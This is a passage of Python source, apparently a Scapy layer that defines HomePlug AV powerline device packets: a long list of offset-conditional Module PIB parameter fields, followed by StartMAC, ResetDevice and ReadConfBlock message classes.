ConditionalField(MACField("SnifferMACAddrRetrn", "00:00:00:00:00:00"), lambda pkt:(0x103 >= pkt.__offset and 0x109 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("WireTapEnable", 0x00), lambda pkt:(0x109 >= pkt.__offset and 0x10A <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("reserved_4", 0x0000), lambda pkt:(0x10A >= pkt.__offset and 0x10C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("StaticNetworkEnabled", 0x00), lambda pkt:(0x10C >= pkt.__offset and 0x10D <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("LD_TEI", 0x00), lambda pkt:(0x10D >= pkt.__offset and 0x10E <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(MACField("CCo_MACAdd", "00:00:00:00:00:00"), lambda pkt:(0x10E >= pkt.__offset and 0x114 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("SNID", 0x00), lambda pkt:(0x114 >= pkt.__offset and 0x115 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("NumOfPeerNodes", 0x00), lambda pkt:(0x115 >= pkt.__offset and 0x116 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(PacketListField("PeerNodes", "", PeerNode, length_from=lambda x: 56), # noqa: E501 lambda pkt:(0x116 >= pkt.__offset and 0x11C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("reserved_5", b"\x00" * 62, 62), lambda pkt:(0x146 >= pkt.__offset and 0x14e <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("OverideModeDefaults", 0x00), lambda pkt:(0x18C >= pkt.__offset and 0x18D <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("DisableFlowControl", 0x00), lambda pkt:(0x18D >= pkt.__offset and 0x18E <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("AdvertisementCapabilities", 0x00), lambda pkt:(0x18E >= pkt.__offset and 0x18F <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("OverrideMeteringDefaults", 0x00), lambda pkt:(0x18F >= pkt.__offset and 0x190 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("MaxFramesPerSec", 0), lambda pkt:(0x190 >= pkt.__offset and 0x194 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("DisableAutoNegotiation", 0x00), lambda pkt:(0x194 >= pkt.__offset and 0x195 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("EnetSpeedSetting", 0x00), lambda pkt:(0x195 >= pkt.__offset and 0x196 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("EnetDuplexSetting", 0x00), lambda pkt:(0x196 >= pkt.__offset and 0x197 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("DisableTxFlowControl", 0x00), lambda pkt:(0x197 >= pkt.__offset and 0x198 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("DisableRxFlowControl", 0x00), lambda pkt:(0x198 >= pkt.__offset and 0x199 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("PhyAddressSelection", 0x00), lambda pkt:(0x199 >= pkt.__offset and 0x19A <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("PhyAddressSelection_Data", 0x00), lambda pkt:(0x19A >= pkt.__offset and 0x19B <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("reserved_6", 0x00), lambda pkt:(0x19B >= pkt.__offset and 0x19C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("Force33MHz", 0x00), lambda pkt:(0x19C >= pkt.__offset and 0x19D <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("LinkStatusOnPowerline", 0x00), lambda pkt:(0x19D >= pkt.__offset and 0x19E <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("OverrideIdDefaults", 0x00), lambda pkt:(0x19E >= pkt.__offset and 0x19F <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("OverrideSubIdDefaults", 0x00), lambda pkt:(0x19F >= pkt.__offset and 0x1A0 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("PCIDeviceID", 0x0000), lambda pkt:(0x1A0 >= pkt.__offset and 0x1A2 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("PCIVendorID", 0x0000), lambda pkt:(0x1A2 >= pkt.__offset and 0x1A4 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("reserved_7", 0x00), lambda pkt:(0x1A4 >= pkt.__offset and 0x1A5 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("PCIClassCode", 0x00), lambda pkt:(0x1A5 >= pkt.__offset and 0x1A6 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("PCIClassCodeSubClass", 0x00), lambda pkt:(0x1A6 >= pkt.__offset and 0x1A7 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("PCIRevisionID", 0x00), lambda pkt:(0x1A7 >= pkt.__offset and 0x1A8 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("PCISubsystemID", 0x0000), lambda pkt:(0x1A8 >= pkt.__offset and 0x1AA <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("PCISybsystemVendorID", 0x0000), lambda pkt:(0x1AA >= pkt.__offset and 0x1AC <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("reserved_8", b"\x00" * 64, 64), lambda pkt:(0x1AC >= pkt.__offset and 0x1EC <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("OverrideIGMPDefaults", 0x00), lambda pkt:(0x1EC >= pkt.__offset and 0x1ED <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("ConfigFlags", 0x00), lambda pkt:(0x1ED >= pkt.__offset and 0x1EE <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("NumCpToSend_PLFrames", 0x00), lambda pkt:(0x1EE >= pkt.__offset and 0x1EF <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("reserved_9", b"\x00" * 29, 29), lambda pkt:(0x1EF >= pkt.__offset and 0x20C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("UniCastPriority", 0x00), lambda pkt:(0x20C >= pkt.__offset and 0x20D <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("McastPriority", 0x00), lambda pkt:(0x20D >= pkt.__offset and 0x20E <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("IGMPPriority", 0x00), lambda pkt:(0x20E >= pkt.__offset and 0x20F <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("AVStreamPriority", 0x00), lambda pkt:(0x20F >= pkt.__offset and 0x210 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("PriorityTTL_0", 0), lambda pkt:(0x210 >= pkt.__offset and 0x214 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("PriorityTTL_1", 0), lambda pkt:(0x214 >= pkt.__offset and 0x218 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("PriorityTTL_2", 0), lambda pkt:(0x218 >= pkt.__offset and 0x21C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("PriorityTTL_3", 0), lambda pkt:(0x21C >= pkt.__offset and 0x220 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("EnableVLANOver", 0x00), lambda pkt:(0x220 >= pkt.__offset and 0x221 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("EnableTOSOver", 0x00), lambda pkt:(0x221 >= pkt.__offset and 0x222 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("reserved_10", 0x0000), lambda pkt:(0x222 >= pkt.__offset and 0x224 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("VLANPrioTOSPrecMatrix", 0), lambda pkt:(0x224 >= pkt.__offset and 0x228 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("NumClassifierPriorityMaps", 0), lambda pkt:(0x228 >= pkt.__offset and 0x22C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("NumAutoConnections", 0), lambda pkt:(0x22C >= pkt.__offset and 0x230 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(PacketListField("ClassifierPriorityMaps", "", ClassifierPriorityMap, length_from=lambda x: 224), # noqa: E501 lambda pkt:(0x230 >= pkt.__offset and 0x244 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(PacketListField("AutoConnections", "", AutoConnection, length_from=lambda x: 1600), # noqa: E501 lambda pkt:(0x310 >= pkt.__offset and 0x36e <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("NumberOfConfigEntries", 0x00), lambda pkt:(0x950 >= pkt.__offset and 0x951 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(PacketListField("AggregateConfigEntries", "", AggregateConfigEntrie, length_from=lambda x: 16), # noqa: E501 lambda pkt:(0x951 >= pkt.__offset and 0x961 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(PacketListField("RSVD_CustomAggregationParameters", "", RSVD_CustomAggregationParameter, length_from=lambda x: 48), # noqa: E501 lambda pkt:(0x961 >= pkt.__offset and 0x991 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("reserved_11", b"\x00" * 123, 123), lambda pkt:(0x991 >= pkt.__offset and 0xA0C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("ToneMaskType", 0), lambda pkt:(0xA0C >= pkt.__offset and 0xA10 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("ToneMaskEnabled", 0), lambda pkt:(0xA10 >= pkt.__offset and 0xA14 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("StartTone", 0), lambda pkt:(0xA14 >= pkt.__offset and 0xA18 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("EndTone", 0), lambda pkt:(0xA18 >= pkt.__offset and 0xA1C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("reserved_12", b"\x00" * 12, 12), lambda pkt:(0xA1C >= pkt.__offset and 0xA28 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("PsdIndex", 0), lambda pkt:(0xA28 >= pkt.__offset and 0xA2C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("TxPrescalerType", 0), lambda pkt:(0xA2C >= pkt.__offset and 0xA30 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(PacketListField("PrescalerValues", "", PrescalerValue, length_from=lambda x: 3600), # noqa: E501 lambda pkt:(0xA30 >= pkt.__offset and 0xA34 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("reserved_13", b"\x00" * 1484, 1484), lambda pkt:(0x1840 >= pkt.__offset and 0x1E0C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("AllowNEKRotation", 0), lambda pkt:(0x1E0C >= pkt.__offset and 0x1E10 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("OverrideLocalNEK", 0), lambda pkt:(0x1E10 >= pkt.__offset and 0x1E14 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("LocalNEKToUse", b"\x00" * 16, 16), lambda pkt:(0x1E14 >= pkt.__offset and 0x1E24 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("OverrideNEKRotationTimer", 0), lambda pkt:(0x1E24 >= pkt.__offset and 0x1E28 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("NEKRotationTime_Min", 0), lambda pkt:(0x1E28 >= pkt.__offset and 0x1E2C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("reserved_14", b"\x00" * 96, 96), lambda pkt:(0x1E2C >= pkt.__offset and 0x1E8C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("AVLNMembership", 0), lambda pkt:(0x1E8C >= pkt.__offset and 0x1E90 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("SimpleConnectTimeout", 0), lambda pkt:(0x1E90 >= pkt.__offset and 0x1E94 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("EnableLEDThroughputIndicate", 0), lambda pkt:(0x1E94 >= pkt.__offset and 0x1E95 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("MidLEDThroughputThreshold_Mbps", 0), lambda pkt:(0x1E95 >= pkt.__offset and 0x1E96 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("HighLEDThroughputThreshold_Mbps", 0), lambda pkt:(0x1E96 >= pkt.__offset and 0x1E97 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("reserved_15", 0), lambda pkt:(0x1E97 >= pkt.__offset and 0x1E98 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("EnableUnicastQuieriesToMember", 0), lambda pkt:(0x1E98 >= pkt.__offset and 0x1E99 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("DisableMLDGroupIDCheckInMAC", 0), lambda pkt:(0x1E99 >= pkt.__offset and 0x1E9A <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("EnableReportsToNonQuerierHosts", 0), lambda pkt:(0x1E9A >= pkt.__offset and 0x1E9C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("DisableExpireGroupMembershipInterval", 0), lambda pkt:(0x1E9C >= pkt.__offset and 0x1EA0 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("DisableLEDTestLights", 0), lambda pkt:(0x1EA0 >= pkt.__offset and 0x1EA4 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(PacketListField("GPIOMaps", "", GPIOMap, length_from=lambda x: 12), # noqa: E501 lambda pkt:(0x1EA4 >= pkt.__offset and 0x1EB0 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XLongField("reserved_16", 0), lambda pkt:(0x1EB0 >= pkt.__offset and 0x1EB8 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("EnableTrafficClass_DSCPOver", 0), lambda pkt:(0x1EB8 >= pkt.__offset and 0x1EB9 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("TrafficClass_DSCPMatrices", b"\x00" * 64, 64), lambda pkt:(0x1EB9 >= pkt.__offset and 0x1EF9 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("GPIOControl", 0), lambda pkt:(0x1EF9 >= pkt.__offset and 0x1EFA <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("LEDControl", b"\x00" * 32, 32), lambda pkt:(0x1EFA >= pkt.__offset and 0x1F1A <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("OverrideMinButtonPressHoldTime", 0), lambda pkt:(0x1F1A >= pkt.__offset and 0x1F1E <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("MinButtonPressHoldTime", 0), lambda pkt:(0x1F1E >= pkt.__offset and 0x1F22 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("reserved_17", b"\x00" * 22, 22), lambda pkt:(0x1F22 >= pkt.__offset and 0x1F38 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("MemoryProfile", 0), lambda pkt:(0x1F38 >= pkt.__offset and 0x1F3C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("DisableAllLEDFlashOnWarmReboot", 0), lambda pkt:(0x1F3C >= pkt.__offset and 0x1F40 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("UplinkLimit_bps", 0), lambda pkt:(0x1F40 >= pkt.__offset and 0x1F44 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("DownlinkLimit_bps", 0), lambda pkt:(0x1F44 >= pkt.__offset and 0x1F48 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("MDUStaticSNID", 0), lambda pkt:(0x1F48 >= pkt.__offset and 0x1F4C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("MitigateEnabled", 0), lambda pkt:(0x1F4C >= pkt.__offset and 0x1F4D <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("CorrelThreshold", 0), lambda pkt:(0x1F4D >= pkt.__offset and 0x1F51 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("ScaledTxGain", 0), lambda pkt:(0x1F51 >= pkt.__offset and 0x1F55 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("ResourceThresholdEnabled", 0), lambda pkt:(0x1F55 >= pkt.__offset and 0x1F56 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(PacketListField("ReservedPercentageForCaps", "", ReservedPercentageForCap, length_from=lambda x: 4), # noqa: E501 lambda pkt:(0x1F56 >= pkt.__offset and 0x1F5A <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("PowerSavingMode", 0), lambda pkt:(0x1F5A >= pkt.__offset and 0x1F5B <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("PowerLEDDutyCycle", 0), lambda pkt:(0x1F5B >= pkt.__offset and 0x1F5C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("reserved_18", 0), lambda pkt:(0x1F5C >= pkt.__offset and 0x1F5E <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("LinkUpDurationBeforeReset_ms", 0), lambda pkt:(0x1F5E >= pkt.__offset and 0x1F62 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("PowerLEDPeriod_ms", 0), lambda pkt:(0x1F62 >= pkt.__offset and 0x1F66 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("LinkDownDurationBeforeLowPowerMode_ms", 0), # noqa: E501 lambda pkt:(0x1F66 >= pkt.__offset and 0x1F6A <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("reserved_19", 0), lambda pkt:(0x1F6A >= pkt.__offset and 0x1F6E <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("AfeGainBusMode", 0), lambda pkt:(0x1F6E >= pkt.__offset and 0x1F6F <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("EnableDynamicPsd", 0), lambda pkt:(0x1F6F >= pkt.__offset and 0x1F70 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("ReservedPercentageForTxStreams", 0), lambda pkt:(0x1F70 >= pkt.__offset and 0x1F71 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("ReservedPercentageForRxStreams", 0), lambda pkt:(0x1F71 >= pkt.__offset and 0x1F72 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("reserved_20", b"\x00" * 22, 22), lambda pkt:(0x1F72 >= pkt.__offset and 0x1F88 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("LegacyNetworkUpgradeEnable", 0), lambda pkt:(0x1F88 >= pkt.__offset and 0x1F8C <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("unknown", 0), lambda pkt:(0x1F8C >= pkt.__offset and 0x1F90 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("MMETTL_us", 0), lambda pkt:(0x1F90 >= pkt.__offset and 0x1F94 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(PacketListField("ConfigBits", "", ConfigBit, length_from=lambda x: 2), # noqa: E501 lambda pkt:(0x1F94 >= pkt.__offset and 0x1F96 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("TxToneMapExpiry_ms", 0), lambda pkt:(0x1F96 >= pkt.__offset and 0x1F9A <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("RxToneMapExpiry_ms", 0), lambda pkt:(0x1F9A >= pkt.__offset and 0x1F9E <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("TimeoutToResound_ms", 0), lambda pkt:(0x1F9E >= pkt.__offset and 0x1FA2 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("MissingSackThresholdForUnplugDetection", 0), # noqa: E501 lambda pkt:(0x1FA2 >= pkt.__offset and 0x1FA6 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(LEIntField("UnplugTimeout_ms", 0), lambda pkt:(0x1FA6 >= pkt.__offset and 0x1FAA <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(PacketListField("ContentionWindowTableES", "", ContentionWindowTable, length_from=lambda x: 8), # noqa: E501 lambda pkt:(0x1FAA >= pkt.__offset and 0x1FB2 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(PacketListField("BackoffDeferalCountTableES", "", BackoffDeferalCountTable, length_from=lambda x: 4), # noqa: E501 lambda pkt:(0x1FB2 >= pkt.__offset and 0x1FB6 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("GoodSoundCountThreshold", 0), lambda pkt:(0x1FB6 >= pkt.__offset and 0x1FB7 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("SoundCountThreshold_GoodSoundCountPass", 0), # noqa: E501 lambda pkt:(0x1FB7 >= pkt.__offset and 0x1FB8 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("SoundCountThreshold_GoodSoundCountFail", 0), # noqa: E501 lambda pkt:(0x1FB8 >= pkt.__offset and 0x1FB9 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("reserved_21", 0), lambda pkt:(0x1FB9 >= pkt.__offset and 0x1FBB <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("ExclusiveTxPbs_percentage", 0), lambda pkt:(0x1FBB >= pkt.__offset and 0x1FBC <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("ExclusiveRxPbs_percentage", 0), lambda pkt:(0x1FBC >= pkt.__offset and 0x1FBD <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("OptimizationBackwardCompatible", 0), lambda pkt:(0x1FBD >= pkt.__offset and 0x1FBE <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("reserved_21b", 0), lambda pkt:(0x1FBE >= pkt.__offset and 0x1FBF <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("MaxPbsPerSymbol", 0), lambda pkt:(0x1FBF >= pkt.__offset and 0x1FC0 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("MaxModulation", 0), lambda pkt:(0x1FC0 >= pkt.__offset and 0x1FC1 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("ContinuousRx", 0), lambda pkt:(0x1FC1 >= pkt.__offset and 0x1FC2 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("reserved_22", b"\x00" * 6, 6), lambda pkt:(0x1FC2 >= pkt.__offset and 0x1FC8 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("PBControlStatus", 0), lambda pkt:(0x1FC8 >= pkt.__offset and 0x1FC9 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("STAMembershipMaskEnabled", 0), lambda pkt:(0x1FC9 >= pkt.__offset and 0x1FCA <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("ExitDefaultEnabled", 0), lambda pkt:(0x1FCA >= pkt.__offset and 0x1FCB <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("RejectDefaultEnabled", 0), lambda pkt:(0x1FCB >= pkt.__offset and 0x1FCC <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("ChainingEnabled", 0), lambda pkt:(0x1FCC >= pkt.__offset and 0x1FCD <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("VendorSpecificNMK", b"\x00" * 16, 16), lambda pkt:(0x1FCD >= pkt.__offset and 0x1FDD <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("LocalMACAddressLimit", 0), lambda pkt:(0x1FDD >= pkt.__offset and 0x1FDE <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("OverrideBridgeTableAgingTime", 0), lambda pkt:(0x1FDE >= pkt.__offset and 0x1FDF <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("LocalBridgeTableAgingTime_min", 0), lambda pkt:(0x1FDF >= pkt.__offset and 0x1FE1 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XShortField("RemoteBridgeTableAgingTime_min", 0), lambda pkt:(0x1FE1 >= pkt.__offset and 0x1FE3 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("PhySyncReference", 0), lambda pkt:(0x1FE3 >= pkt.__offset and 0x1FE7 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("reserved_23", 0), lambda pkt:(0x1FE7 >= pkt.__offset and 0x1FE8 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("reserved_24", 0), lambda pkt:(0x1FE8 >= pkt.__offset and 0x1FEC <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XIntField("reserved_25", 0), lambda pkt:(0x1FEC >= pkt.__offset and 0x1FF0 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(StrFixedLenField("reserved_26", b"\x00" * 24, 24), lambda pkt:(0x1FF0 >= pkt.__offset and 0x2008 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("OverrideDefaultLedEventBehavior", 0x80), lambda pkt:(0x2008 >= pkt.__offset and 0x2009 <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("ReportToHostInfo", 0), lambda pkt:(0x2009 >= pkt.__offset and 0x200A <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(X3BytesField("reserved_27", 0), lambda pkt:(0x200A >= pkt.__offset and 0x200D <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("NumBehaviors", 0), lambda pkt:(0x200D >= pkt.__offset and 0x200E <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(PacketListField("BehaviorBlockArrayES", "", BehaviorBlockArray, length_from=lambda x: 1200), # noqa: E501 lambda pkt:(0x200E >= pkt.__offset and 0x24BE <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(XByteField("NumEvents", 0), lambda pkt:(0x24BE >= pkt.__offset and 0x24BF <= pkt.__offset + pkt.__length)), # noqa: E501 ConditionalField(PacketListField("EventBlockArrayES", "", EventBlockArray, length_from=lambda x: 550), # noqa: E501 lambda pkt:(0x24BF >= pkt.__offset and 0x26E5 <= pkt.__offset + pkt.__length)), # noqa: E501 ] def __init__(self, packet="", offset=0x0, length=0x400): self.__offset = offset self.__length = length return super(ModulePIB, self).__init__(packet) ###################################################################### # Read MAC Memory ##################################################################### StartMACCodes = {0x00: "Success"} class StartMACRequest(Packet): name = "StartMACRequest" fields_desc = [ByteEnumField("ModuleID", 0x00, StartMACCodes), X3BytesField("reserver_1", 0x000000), LEIntField("ImgLoadStartAddr", 0x00000000), LEIntField("ImgLength", 0x00000000), LEIntField("ImgCheckSum", 0x00000000), LEIntField("ImgStartAddr", 0x00000000), ] class StartMACConfirmation(Packet): name = "StartMACConfirmation" fields_desc = [ByteEnumField("Status", 0x00, StartMACCodes), XByteField("ModuleID", 0x00), ] ###################################################################### # Reset Device ###################################################################### ResetDeviceCodes = {0x00: "Success"} class ResetDeviceRequest(Packet): name = "ResetDeviceRequest" fields_desc = [] class ResetDeviceConfirmation(Packet): name = "ResetDeviceConfirmation" fields_desc = [ByteEnumField("Status", 0x00, ResetDeviceCodes)] ###################################################################### # Read Configuration Block ###################################################################### ReadConfBlockCodes = {0x00: "Success"} class ReadConfBlockRequest(Packet): name = "ReadConfBlockRequest" fields_desc = [] CBImgTCodes = {0x00: "Generic Image", 0x01: "Synopsis configuration", 0x02: "Denali configuration", 0x03: "Denali applet", 0x04: "Runtime firmware", 0x05: "OAS client", 0x06: "Custom image", 0x07: "Memory control applet", 0x08: "Power management applet", 0x09: "OAS client IP stack", 0x0A: "OAS client TR069", 0x0B: "SoftLoader", 0x0C: "Flash layout", 0x0D: "Unknown", 0x0E: "Chain manifest", 0x0F: "Runtime parameters", 0x10: "Custom module in scratch", 0x11: "Custom module update applet"} class ConfBlock(Packet): name = "ConfBlock" fields_desc = [LEIntField("HeaderVersionNum", 0), LEIntField("ImgAddrNVM", 0), LEIntField("ImgAddrSDRAM", 0), LEIntField("ImgLength", 0), LEIntField("ImgCheckSum", 0), LEIntField("EntryPoint", 0), XByteField("HeaderMinVersion", 0x00), ByteEnumField("HeaderImgType", 0x00, CBImgTCodes), 